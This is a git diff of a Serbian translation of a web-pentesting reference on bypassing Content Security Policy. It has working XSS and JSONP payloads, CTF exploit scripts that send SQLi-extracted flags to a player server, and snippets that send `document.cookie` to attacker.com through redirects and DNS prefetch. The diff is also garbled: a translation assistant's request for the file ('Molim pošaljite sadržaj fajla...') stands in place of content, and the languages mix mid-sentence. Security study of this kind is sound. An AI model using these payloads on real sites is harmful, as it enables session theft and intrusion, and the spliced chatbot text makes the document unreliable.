Politika CSP koja stavlja domene na belu listu za učitavanje skripti u Angular JS aplikaciji može se zaobići pozivanjem callback functions i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se naći u detaljnom vodiču dostupnom na ovom [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||||
CSP politika koja na whitelist stavlja domene za učitavanje skripti u Angular JS aplikaciji može se zaobići pozivanjem callback funkcija i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se naći u detaljnom vodiču dostupnom na ovom [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||||
|
||||
Working payloads:
|
||||
```html
|
||||
@ -401,13 +399,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
Ostali JSONP arbitrary execution endpoints mogu se naći u [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (neki od njih su uklonjeni ili ispravljeni)
|
||||
Ostali JSONP arbitrary execution endpoints mogu se pronaći u [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (neki od njih su uklonjeni ili ispravljeni)
|
||||
|
||||
### Zaobilaženje putem preusmeravanja
|
||||
|
||||
Šta se dešava kada CSP naiđe na preusmeravanje na serverskoj strani? Ako preusmeravanje vodi ka drugom originu koji nije dozvoljen, ono će i dalje biti neuspešno.
|
||||
Šta se dešava kada CSP naiđe na server-side preusmeravanje? Ako preusmeravanje vodi na drugi origin koji nije dozvoljen, ono će i dalje biti odbijeno.
|
||||
|
||||
Međutim, prema opisu u [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ako preusmeravanje vodi na drugu putanju, može zaobići izvorna ograničenja.
|
||||
Međutim, prema opisu u [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ako preusmeravanje vodi na drugu putanju, može zaobići originalna ograničenja.
|
||||
|
||||
Evo primera:
|
||||
```html
|
||||
@ -427,25 +425,25 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
Ako je CSP podešen na `https://www.google.com/a/b/c/d`, pošto se putanja uzima u obzir, i skripte `/test` i `/a/test` će biti blokirane od strane CSP-a.
|
||||
Ako je CSP postavljen na `https://www.google.com/a/b/c/d`, pošto se putanja uzima u obzir, i skripte `/test` i `/a/test` biće blokirane od strane CSP.
|
||||
|
||||
Međutim, krajnji `http://localhost:5555/301` će biti **preusmeren na serverskoj strani na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Pošto je u pitanju preusmeravanje, **putanja se ne uzima u obzir**, i **skripta može biti učitana**, čime se zaobilazi ograničenje putanje.
|
||||
Međutim, konačni `http://localhost:5555/301` će biti **preusmeren na serverskoj strani na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Pošto je u pitanju redirekcija, **putanja se ne uzima u obzir**, i **skripta može biti učitana**, čime se zaobilazi ograničenje putanje.
|
||||
|
||||
Sa ovim preusmeravanjem, čak i ako je putanja potpuno specificirana, i dalje će biti zaobiđena.
|
||||
Sa ovom redirekcijom, čak i ako je putanja u potpunosti specificirana, i dalje će biti zaobiđena.
|
||||
|
||||
Stoga je najbolje rešenje da se obezbedi da sajt nema open redirect ranjivosti i da u CSP pravilima nema domena koji se mogu iskoristiti.
|
||||
Zato je najbolje rešenje osigurati da sajt nema open redirect ranjivosti i da u CSP pravilima nema domena koji se mogu iskoristiti.
|
||||
|
||||
### Bypass CSP with dangling markup
|
||||
|
||||
Pročitajte [ovde](../dangling-markup-html-scriptless-injection/index.html).
|
||||
Pročitajte [kako ovde](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
### 'unsafe-inline'; img-src \*; via XSS
|
||||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` znači da možeš izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i `img-src *` znači da možeš koristiti na web stranici bilo koju sliku sa bilo kog izvora.
|
||||
`'unsafe-inline'` znači da možeš izvršiti bilo koju skriptu unutar koda (XSS može izvršiti kod) a `img-src *` znači da možeš koristiti na web stranici bilo koju sliku iz bilo kog izvora.
|
||||
|
||||
Možeš zaobići ovaj CSP egzfiltracijom podataka putem slika (u ovom slučaju XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi i izvlači flag putem slike):
|
||||
Možeš zaobići ovaj CSP eksfiltracijom podataka putem slika (u ovom slučaju XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvuče flag putem slike):
|
||||
```javascript
|
||||
<script>
|
||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||
@ -454,11 +452,11 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
```
|
||||
Iz: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Takođe možete zloupotrebiti ovu konfiguraciju da **učitate javascript kod umetnut u sliku**. Na primer, ako stranica dozvoljava učitavanje slika sa Twittera. Možete **konstruisati** **specijalnu sliku**, **otpremiti** je na Twitter i iskoristiti "**unsafe-inline**" da **izvršite** JS kod (kao regularan XSS) koji će **učitati** **sliku**, **izvući** **JS** iz nje i **izvršiti** **ga**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Takođe možete zloupotrebiti ovu konfiguraciju da **učitate javascript kod umetnut u sliku**. Ako, na primer, stranica dozvoljava učitavanje slika sa Twitter-a. Možete **kreirati** **specijalnu sliku**, **otpremiti** je na Twitter i zloupotrebiti "**unsafe-inline**" da **izvršite** JS kod (kao regularan XSS) koji će **učitati** **sliku**, **izvući** **JS** iz nje i **izvršiti** **ga**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Sa Service Workers
|
||||
### With Service Workers
|
||||
|
||||
Funkcija Service workers **`importScripts`** nije ograničena od strane CSP:
|
||||
Service workers **`importScripts`** funkcija nije ograničena CSP-om:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -471,25 +469,25 @@ Funkcija Service workers **`importScripts`** nije ograničena od strane CSP:
|
||||
|
||||
#### Chrome
|
||||
|
||||
Ako se **parametar** koji pošaljete **zalepi unutar** **deklaracije** **policy,** onda biste mogli **izmeniti** **policy** na način koji ga čini **neupotrebljivim**. Možete **dozvoliti script 'unsafe-inline'** sa bilo kojim od ovih bypass-a:
|
||||
Ako se **parametar** koji pošaljete **ubacuje u** **deklaraciju** **policy,** onda biste mogli **izmeniti** **policy** na neki način koji ga čini **beskorisnim**. Mogli biste **dozvoliti script 'unsafe-inline'** pomoću bilo kog od ovih bypass-ova:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
Zato što će ova direktiva **prepisati postojeće script-src directives**.\
|
||||
Primer možete naći ovde: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
Zato što će ova direktiva **prepisati postojeće script-src direktive**.\
|
||||
Možete pronaći primer ovde: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
|
||||
U Edge-u je mnogo jednostavnije. Ako možete u CSP ubaciti samo ovo: **`;_`** **Edge** će **odbaciti** celu **politiku**.\
|
||||
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
U Edge je mnogo jednostavnije. Ako u CSP možete dodati samo ovo: **`;_`** **Edge** bi **uklonio** celu **politiku**.\
|
||||
Primer: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
|
||||
### img-src \*; via XSS (iframe) - Time attack
|
||||
|
||||
Obratite pažnju na izostanak direktive `'unsafe-inline'`\
|
||||
Ovog puta možete naterati žrtvu da **učita** stranicu pod **vašom kontrolom** preko **XSS** koristeći `<iframe`. Ovog puta nateraćete žrtvu da pristupi stranici sa koje želite da izvučete informacije (**CSRF**). Ne možete pristupiti sadržaju stranice, ali ako na neki način možete **kontrolisati vreme učitavanja stranice** možete izvući potrebne informacije.
|
||||
Obratite pažnju na nedostatak direktive `'unsafe-inline'`\
|
||||
Ovoga puta možete naterati victim da **load** stranicu pod **your control** preko **XSS** with a `<iframe`. Ovoga puta ćete naterati victim da pristupi stranici sa koje želite izvući informacije (**CSRF**). Ne možete pristupiti sadržaju stranice, ali ako na neki način možete **kontrolisati vreme potrebno stranici da se učita** možete izvući informacije koje su vam potrebne.
|
||||
|
||||
Ovog puta će biti izvučen **flag**; kad god se neki **karakter tačno pogodi** preko SQLi, **response** traje **duže** zbog sleep funkcije. Tada ćete moći da izvučete flag:
|
||||
Ovoga puta će biti izvučen **flag** — kad god je **char je pravilno pogođen** putem SQLi, **response** zahteva **više vremena** zbog sleep funkcije. Tada ćete moći izvući flag:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -549,24 +547,24 @@ console.log(prefix)
|
||||
run()
|
||||
</script>
|
||||
```
|
||||
### Putem Bookmarklets
|
||||
### Preko Bookmarklets
|
||||
|
||||
Ovaj napad podrazumeva socijalni inženjering gde napadač **ubedi korisnika da prevuče i ispusti link preko bookmarkleta pretraživača**. Taj bookmarklet bi sadržao **zlonamerni javascript** kod koji bi, kada je drag\&dropped ili kliknut, bio izvršen u kontekstu trenutnog web prozora, **zaobilazeći CSP i omogućavajući krađu osetljivih informacija** kao što su cookies ili tokens.
|
||||
Ovaj napad podrazumeva social engineering gde napadač **ubedi korisnika da prevuče i pusti link preko bookmarkleta u pregledaču**. Taj bookmarklet bi sadržao **malicious javascript** kod koji bi, kada se drag\&dropped ili klikne, bio izvršen u kontekstu trenutnog web prozora, **bypassing CSP and allowing to steal sensitive information** kao što su cookies ili tokens.
|
||||
|
||||
Za više informacija [**pogledajte originalni izveštaj ovde**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP bypass by restricting CSP
|
||||
### CSP bypass ograničavanjem CSP
|
||||
|
||||
U [**ovom CTF writeupu**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se zaobilazi tako što se unutar dozvoljenog iframe-a ubaci stroži CSP koji onemogućava učitavanje određenog JS fajla koji je, zatim, putem **prototype pollution** ili **dom clobbering**, omogućio **zloupotrebu drugog skripta da učita proizvoljan skript**.
|
||||
U [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se zaobilazi ubacivanjem unutar dozvoljenog iframe-a restriktivnijeg CSP-a koji je onemogućio učitavanje određenog JS fajla, koji je zatim, putem **prototype pollution** ili **dom clobbering**, omogućio da se **abuse a different script to load an arbitrary script**.
|
||||
|
||||
Možete **ograničiti CSP iframe-a** pomoću **`csp`** atributa:
|
||||
Možete **ograničiti CSP Iframe-a** koristeći atribut **`csp`**:
|
||||
```html
|
||||
<iframe
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML injection** dodatno **ograničiti** **CSP**, tako da je skripta koja sprečava CSTI bila onemogućena i samim tim je **ranjivost postala iskoristiva.**\
|
||||
CSP se može učiniti strožijim korišćenjem **HTML meta tags**, a inline skripte se mogu onemogućiti **uklanjanjem** **unosa** koji omogućava njihov **nonce** i omogućavanjem specifičnih inline skripti putem **sha**:
|
||||
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML injection** dodatno **ograničiti** **CSP** tako da je skripta koja sprečava CSTI bila onemogućena i stoga je **ranjivost postala iskoristiva.**\
|
||||
CSP se može učiniti strožijim korišćenjem **HTML meta tags**, a inline scripts se mogu onemogućiti uklanjanjem **entry** koji dozvoljava njihov **nonce** i omogućavanjem specifičnog inline scripta putem **sha**:
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -575,9 +573,9 @@ content="script-src 'self'
|
||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
|
||||
```
|
||||
### JS exfiltration pomoću Content-Security-Policy-Report-Only
|
||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||
|
||||
Ako uspeš da nateraš server da odgovori sa hederom **`Content-Security-Policy-Report-Only`** sa **vrednošću koju kontrolišeš** (možda zbog CRLF), možeš ga navesti da pokazuje na tvoj server i ako **umotaš** **JS content** koji želiš da exfiltrate u **`<script>`**, i pošto je vrlo verovatno da `unsafe-inline` nije dozvoljen od strane CSP, ovo će **izazvati CSP grešku** i deo skripta (koji sadrži osetljive informacije) će biti poslat serveru preko `Content-Security-Policy-Report-Only`.
|
||||
Ako uspete da naterate server da odgovori sa headerom **`Content-Security-Policy-Report-Only`** čija je **vrednost pod vašom kontrolom** (možda zbog CRLF), možete ga usmeriti na svoj server i ako obmotate **JS content** koji želite da exfiltrate unutar **`<script>`**, pošto je vrlo verovatno da `unsafe-inline` nije dozvoljen od strane CSP-a, to će **izazvati CSP error** i deo skripta (koji sadrži osetljive informacije) biće poslat serveru preko `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Za primer [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
@ -588,44 +586,44 @@ document.querySelector("DIV").innerHTML =
|
||||
```
|
||||
### Leaking Information with CSP and Iframe
|
||||
|
||||
- Kreira se `iframe` koji pokazuje na URL (nazovimo ga `https://example.redirect.com`) koji je dozvoljen od strane CSP.
|
||||
- Taj URL zatim redirektuje na tajni URL (npr. `https://usersecret.example2.com`) koji **nije dozvoljen** od strane CSP.
|
||||
- Osluškujući `securitypolicyviolation` događaj, može se uhvatiti `blockedURI` svojstvo. Ovo svojstvo otkriva domen blokiranog URI-ja, leaking tajni domen na koji je početni URL redirektovao.
|
||||
- Kreira se `iframe` koji pokazuje na URL (nazovimo ga `https://example.redirect.com`) koji je dozvoljen prema CSP.
|
||||
- Taj URL zatim preusmerava na tajni URL (npr. `https://usersecret.example2.com`) koji **nije dozvoljen** prema CSP.
|
||||
- Prateći događaj `securitypolicyviolation`, moguće je uhvatiti svojstvo `blockedURI`. Ovo svojstvo otkriva domen blokiranog URI-ja, leaking tajni domen na koji je inicijalni URL bio preusmeren.
|
||||
|
||||
Zanimljivo je da pregledači kao što su Chrome i Firefox imaju različito ponašanje pri rukovanju `iframe`-ovima u odnosu na CSP, što može dovesti do potencijalnog leak-a osetljivih informacija usled nedefinisanog ponašanja.
|
||||
Zanimljivo je primetiti da browseri kao što su Chrome i Firefox različito postupaju sa `iframe`-ovima u odnosu na CSP, što zbog neodređenog ponašanja može dovesti do potencijalnog leakage osetljivih informacija.
|
||||
|
||||
Još jedna tehnika uključuje eksploatisanje samog CSP-a kako bi se odredio tajni subdomen. Ova metoda se zasniva na binarnoj pretrazi i podešavanju CSP-a da uključi specifične domene koji su namerno blokirani. Na primer, ako je tajni subdomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite subdomene menjajući CSP direktivu da blokira ili dozvoli te subdomene. Evo snippet-a koji prikazuje kako bi CSP mogao biti podešen da olakša ovu metodu:
|
||||
Druga tehnika uključuje iskorišćavanje same CSP da bi se zaključio tajni subdomen. Ova metoda se oslanja na binary search algorithm i na podešavanje CSP tako da uključuje specifične domene koji su namerno blokirani. Na primer, ako je tajni subdomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite subdomene modifikovanjem CSP direktive da blokira ili dozvoli te subdomene. Evo snippet-a koji pokazuje kako bi CSP mogao biti postavljen da omogući ovu metodu:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
Prateći koje zahteve CSP blokira ili dozvoljava, može se suziti skup mogućih karaktera u tajnom poddomenу, na kraju otkrivši puni URL.
|
||||
Prateći koji zahtevi su blokirani ili dozvoljeni od strane CSP-a, može se suziti skup mogućih znakova u tajnom poddomenу, na kraju otkrivajući pun URL.
|
||||
|
||||
Obe metode eksploatišu nijanse implementacije CSP-a i ponašanje u browser-ima, pokazujući kako naizgled sigurne politike mogu nenamerno leak osetljive informacije.
|
||||
Obe metode iskorišćavaju nijanse implementacije CSP-a i ponašanja u browserima, pokazujući kako naizgled bezbedne politike mogu nenamerno izazvati leak osetljivih informacija.
|
||||
|
||||
Trick from [**here**](https://ctftime.org/writeup/29310).
|
||||
Trik iz [**here**](https://ctftime.org/writeup/29310).
|
||||
|
||||
## Nesigurne tehnologije za zaobilaženje CSP
|
||||
## Nepouzdane tehnologije za Bypass CSP
|
||||
|
||||
### PHP Errors when too many params
|
||||
### PHP greške kada ima previše parametara
|
||||
|
||||
Prema [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), slanje previše parametara (1001 GET parameters mada se može uraditi i sa POST params i više od 20 fajlova). Svaki definisani **`header()`** u PHP web kodu **neće biti poslat** zbog greške koju to izazove.
|
||||
Prema [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), slanjem previše parametara (1001 GET parametar; moguće je i sa POST parametrima i sa više od 20 fajlova). Bilo koja definisana **`header()`** u PHP web kodu **neće biti poslata** zbog greške koju ovo izaziva.
|
||||
|
||||
### PHP response buffer overload
|
||||
### PHP preopterećenje bafera odgovora
|
||||
|
||||
Poznato je da PHP po defaultu **buffering the response to 4096** bytes. Stoga, ako PHP prikazuje warning, obezbeđivanjem **dovoljne količine podataka unutar warning-a**, **response** će biti **poslat** **pre** **CSP header**, zbog čega će header biti ignorisan.\
|
||||
Tehnika se u suštini sastoji u **punjenju response bafera warning-ovima** tako da CSP header ne bude poslat.
|
||||
Poznato je da PHP podrazumevano **bufferuje odgovor na 4096** bajtova. Dakle, ako PHP generiše upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP header-a**, što će prouzrokovati da header bude ignorisan.\
|
||||
Tehnika se u suštini sastoji u **popunjavanju bafera odgovora upozorenjima** tako da CSP header ne bude poslat.
|
||||
|
||||
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
Ideja iz [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Kill CSP via max_input_vars (headers already sent)
|
||||
### Onemogućavanje CSP putem max_input_vars (headers already sent)
|
||||
|
||||
Pošto headers moraju biti poslati pre bilo kog output-a, warnings koje PHP emituje mogu poništiti kasnije pozive `header()`. Ako korisnički input pređe `max_input_vars`, PHP prvo baci startup warning; svaki naredni poziv `header('Content-Security-Policy: ...')` će se završiti greškom “headers already sent”, efektivno onemogućavajući CSP i dozvoljavajući reflektivni XSS koji bi inače bio blokiran.
|
||||
Pošto headeri moraju biti poslati pre bilo kog output-a, upozorenja koja PHP emituje mogu poništiti kasnije pozive `header()`. Ako korisnički unos premaši `max_input_vars`, PHP će prvo baciti startup warning; bilo koji naredni poziv `header('Content-Security-Policy: ...')` će propasti sa “headers already sent”, efektivno onemogućavajući CSP i omogućavajući reflektivni XSS koji bi inače bio blokiran.
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
echo $_GET['xss'];
|
||||
```
|
||||
Molim vas zalepite sadržaj fajla README.md koji želite da prevedem na srpski.
|
||||
Molim pošaljite sadržaj fajla src/pentesting-web/content-security-policy-csp-bypass/README.md koji želite da prevedem.
|
||||
```bash
|
||||
# CSP in place → payload blocked by browser
|
||||
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
|
||||
@ -635,9 +633,9 @@ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
|
||||
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
|
||||
# Warning: Cannot modify header information - headers already sent
|
||||
```
|
||||
### Rewrite Error Page
|
||||
### Prepisivanje stranice greške
|
||||
|
||||
Iz [**this writeup**](https://blog.ssrf.kr/69) izgleda da je bilo moguće zaobići CSP zaštitu učitavanjem stranice sa greškom (potencijalno bez CSP) i prepisivanjem njenog sadržaja.
|
||||
Prema [**this writeup**](https://blog.ssrf.kr/69) izgleda da je bilo moguće zaobići CSP zaštitu učitavanjem stranice greške (potencijalno bez CSP) i prepisivanjem njenog sadržaja.
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -646,41 +644,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **u endpointu stranice** da **zloupotrebi** **druge endpoint-e iste origin-e.** Ovo se postiže tako što se ranjivi endpoint učita sa attacker page i zatim se attacker page osveži na real endpoint u istom originu koji želite da zloupotrebite. Na ovaj način **ranjivi endpoint** može da koristi **`opener`** objekat u **payload**-u da **pristupi DOM-u** **real endpoint-a koji se želi zloupotrebiti**. Za više informacija pogledajte:
|
||||
|
||||
SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **u endpoint-u stranice** da **zloupotrebi** **other endpoints of the same origin.** Ovo se postiže učitavanjem ranjivog endpoint-a sa napadačeve stranice, a zatim osvežavanjem napadačeve stranice na stvarni endpoint u istoj origin-i koju želite zloupotrebiti. Na ovaj način **ranjivi endpoint** može koristiti **`opener`** objekat u **payload** da **pristupi DOM-u** **stvarnog endpoint-a koji se zloupotrebljava**. Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
{{#endref}}
|
||||
|
||||
Štaviše, **wordpress** ima **JSONP** endpoint na `/wp-json/wp/v2/users/1?_jsonp=data` koji će **reflektovati** **data** poslate u izlazu (sa ograničenjem na samo slova, brojeve i tačke).
|
||||
Pored toga, **wordpress** ima **JSONP** endpoint na `/wp-json/wp/v2/users/1?_jsonp=data` koji će **reflect** **data** poslate u output (sa ograničenjem samo slova, cifara i tačaka).
|
||||
|
||||
Attacker može zloupotrebiti taj endpoint da **generiše SOME attack** protiv WordPress i **embed**-uje ga unutar `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` — napomena: ovaj **script** će biti **loaded** jer je **allowed by 'self'**. Pored toga, pošto je WordPress instaliran, attacker može zloupotrebiti **SOME attack** preko ranjivog **callback** endpoint-a koji **bypasses the CSP** kako bi dodelio veće privilegije korisniku, instalirao novi plugin...\
|
||||
Za više informacija o tome kako izvesti ovaj napad pogledajte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
Napadač može zloupotrebiti taj endpoint da **generate a SOME attack** protiv WordPress-a i **embed** ga unutar `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` napomena: ovaj **script** će biti **loaded** jer je **allowed by 'self'**. Štaviše, pošto je WordPress instaliran, napadač može zloupotrebiti **SOME attack** kroz ranjivi **callback** endpoint koji **bypasses the CSP** da bi dao više privilegija korisniku, instalirao novi plugin...\
|
||||
Za više informacija o izvođenju ovog napada pogledajte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
|
||||
Ako postoji strog CSP koji vam ne dozvoljava da komunicirate sa eksternim serverima, postoji nekoliko stvari koje uvek možete uraditi da exfiltrate informacije.
|
||||
If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.
|
||||
|
||||
### Location
|
||||
|
||||
Možete jednostavno ažurirati location da pošaljete tajne informacije attacker serveru:
|
||||
You could just update the location to send to the attacker's server the secret information:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
document.location = "https://attacker.com/?" + sessionid
|
||||
```
|
||||
### Meta tag
|
||||
|
||||
Možete izvršiti redirect ubacivanjem meta taga (ovo je samo redirect; neće leak sadržaja)
|
||||
Možete izvršiti redirect ubacivanjem meta tag-a (ovo je samo redirect, ovo neće leak content)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
||||
```
|
||||
### DNS Prefetch
|
||||
|
||||
Da bi brže učitavale stranice, browseri će unapred rešavati imena hostova u IP adrese i keširati ih za kasniju upotrebu.\
|
||||
Možete navesti browser da unapred reši ime hosta pomoću: `<link rel="dns-prefetch" href="something.com">`
|
||||
Da bi se stranice učitavale brže, pregledači će unapred rešavati hostnames u IP addresses i keširati ih za kasniju upotrebu.\
|
||||
Možete navesti pregledač da unapred reši hostname pomoću: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
Možete zloupotrebiti ovo ponašanje da **exfiltrate sensitive information via DNS requests**:
|
||||
Ovo ponašanje možete zloupotrebiti za **exfiltrate sensitive information via DNS requests**:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
var body = document.getElementsByTagName("body")[0]
|
||||
@ -690,19 +687,19 @@ body.innerHTML +
|
||||
sessionid +
|
||||
'attacker.ch">'
|
||||
```
|
||||
Drugi način:
|
||||
Još jedan način:
|
||||
```javascript
|
||||
const linkEl = document.createElement("link")
|
||||
linkEl.rel = "prefetch"
|
||||
linkEl.href = urlWithYourPreciousData
|
||||
document.head.appendChild(linkEl)
|
||||
```
|
||||
Da bi se to sprečilo, server može poslati HTTP header:
|
||||
Da bi se to izbeglo, server može poslati HTTP header:
|
||||
```
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
> [!TIP]
|
||||
> Čini se da ova tehnika ne radi u headless browsers (bots)
|
||||
> Izgleda da ova tehnika ne radi u headless browsers (bots)
|
||||
|
||||
### WebRTC
|
||||
|
||||
@ -730,7 +727,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
Popup za kredencijale šalje DNS zahtev na iconURL bez ograničenja od strane stranice. Radi samo u sigurnom kontekstu (HTTPS) ili na localhost.
|
||||
Popup za kredencijale šalje DNS zahtev na iconURL bez ograničenja od strane stranice. Funkcioniše samo u sigurnom kontekstu (HTTPS) ili na localhost.
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
|
@ -4,58 +4,58 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** Fajl se učitava sa udaljenog servera (Najbolje: Možete napisati kod i server će ga izvršiti). U php-u je ovo **onemogućeno** po defaultu (**allow_url_include**).\
|
||||
**Remote File Inclusion (RFI):** Fajl se učitava sa udaljenog servera (Najbolje: možete napisati kod i server će ga izvršiti). U php ovo je **onemogućeno** po defaultu (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Server učitava lokalni fajl.
|
||||
|
||||
Ranljivost se javlja kada korisnik na neki način može kontrolisati fajl koji će server učitati.
|
||||
Ranivost se javlja kada korisnik na neki način može kontrolisati koji fajl će server učitati.
|
||||
